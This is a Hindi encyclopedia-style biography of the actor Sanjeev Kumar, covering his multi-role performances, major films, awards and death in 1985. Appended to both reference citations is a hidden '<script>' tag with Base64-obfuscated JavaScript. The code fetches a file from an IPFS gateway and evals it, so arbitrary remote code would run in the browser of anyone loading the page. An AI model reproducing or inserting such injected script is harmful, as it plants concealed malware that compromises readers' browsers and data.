वर्ष 1974 में प्रदर्शित फ़िल्म 'नया दिन नयी रात' में संजीव कुमार के अभिनय और विविधता के नए आयाम दर्शकों को देखने को मिले इस फ़िल्म में उन्होंने नौ अलग-अलग भूमिकाओं में अपने अभिनय की छाप छोड़ी। फ़िल्म में संजीव कुमार ने लूले-लंगड़े, अंधे, बूढे, बीमार, कोढ़ी, हिजड़े, डाकू, जवान और प्रोफ़ेसर के किरदार को निभाकर जीवन के नौ रसो को रूपहले पर्दे पर साकार किया। यह फ़िल्म उनके हर किरदार की अलग ख़ासियत की वजह से जानी जाती है लेकिन इस फ़िल्म में उनके एक हिजड़े का किरदार आज भी फ़िल्मी दर्शकों के मस्तिष्क पर छा जाता है।

फ़िल्म 'शतरंज के खिलाड़ी' का एक दृश्य

विभिन्न भूमिकाएँ

अभिनय में एकरूपता से बचने और स्वंय को चरित्र अभिनेता के रूप में भी स्थापित करने के लिए संजीव कुमार ने अपने को विभिन्न भूमिकाओं में पेश किया। इस क्रम में वर्ष 1975 में प्रदर्शित रमेश सिप्पी की सुपरहिट फ़िल्म शोले में वह फ़िल्म अभिनेत्री जया भादुड़ी के ससुर की भूमिका निभाने से भी नहीं हिचके। हांलाकि संजीव कुमार ने फ़िल्म शोले के पहले जया भादुडी के साथ 'कोशिश' और 'अनामिका' में नायक की भूमिका निभाई थी। वर्ष 1977 में प्रदर्शित फ़िल्म 'शतरंज के खिलाड़ी' में उन्हें महान् निर्देशक सत्यजीत रे के साथ काम करने का मौक़ा मिला। इस फ़िल्म के जरिए भी उन्होंने दर्शकों का मन मोहे रखा। इसके बाद संजीव कुमार ने 'मुक्ति' (1977), त्रिशूल (1978), 'पति पत्नी और वो' (1978), 'देवता' (1978), 'जानी दुश्मन' (1979), 'गृहप्रवेश' (1979), 'हम पांच' (1980), 'चेहरे पे चेहरा' (1981), 'दासी' (1981), 'विधाता' (1982), 'नमकीन' (1982), 'अंगूर' (1982) और 'हीरो' (1983) जैसी कई सुपरहिट फ़िल्मों के जरिए दर्शकों के दिल पर राज किया।[1]

बहुआयामी कलाकार

भारतीय सिनेमा जगत में संजीव कुमार को एक ऐसे बहुआयामी कलाकार के तौर पर जाना जाता है जिन्होंने नायक, सहनायक, खलनायक और चरित्र कलाकार भूमिकाओं से दर्शकों को अपना दीवाना बनाया। संजीव कुमार के अभिनय में एक विशेषता रही कि वह किसी भी तरह की भूमिका के लिए सदा उपयुक्त रहते थे। बाद में संजीव कुमार ने गुलज़ार के निर्देशन मे 'आंधी', 'मौसम', 'नमकीन' और 'अंगूर' जैसी कई फ़िल्मों में अपने अभिनय का जौहर दिखाया। वर्ष 1982 में प्रदर्शित फ़िल्म अंगूर में संजीव कुमार ने दोहरी भूमिका निभाई।[2]

संजीव कुमार पर जारी डाक टिकट

सम्मान और पुरस्कार

संजीव कुमार को दो बार सर्वश्रेष्ठ अभिनेता का राष्ट्रीय पुरस्कार मिला और दो बार सर्वश्रेष्ठ अभिनेता के फ़िल्म फ़ेयर पुरस्कार से सम्मानित किए गए हैं। वर्ष 1975 में प्रदर्शित फ़िल्म 'आंधी' के लिए सबसे पहले उन्हें सर्वश्रेष्ठ अभिनेता का फ़िल्म फ़ेयर पुरस्कार दिया गया। इसके बाद वर्ष 1976 में भी फ़िल्म 'अर्जुन पंडित' में बेमिसाल अभिनय के लिए सर्वश्रेष्ठ अभिनेता के फ़िल्म फ़ेयर पुरस्कार से नवाजे गए।[1]

मृत्यु

अपने दमदार अभिनय से दर्शकों के दिल में ख़ास पहचान बनाने वाले शानदार कलाकार 6 नवंबर 1985 को दिल का गंभीर दौरा पड़ने के कारण इस दुनिया को अलविदा कह गए।[2]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 1.4 1.5 1.6 1.7 संजीव कुमार (हिन्दी) (एच.टी.एम.एल) जागरण याहू। अभिगमन तिथि: 2 जुलाई, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. 2.0 2.1 बहुआयामी कलाकार थे संजीव कुमार (हिन्दी) (एच.टी.एम.एल) प्रेस नोट। अभिगमन तिथि: 2 जुलाई, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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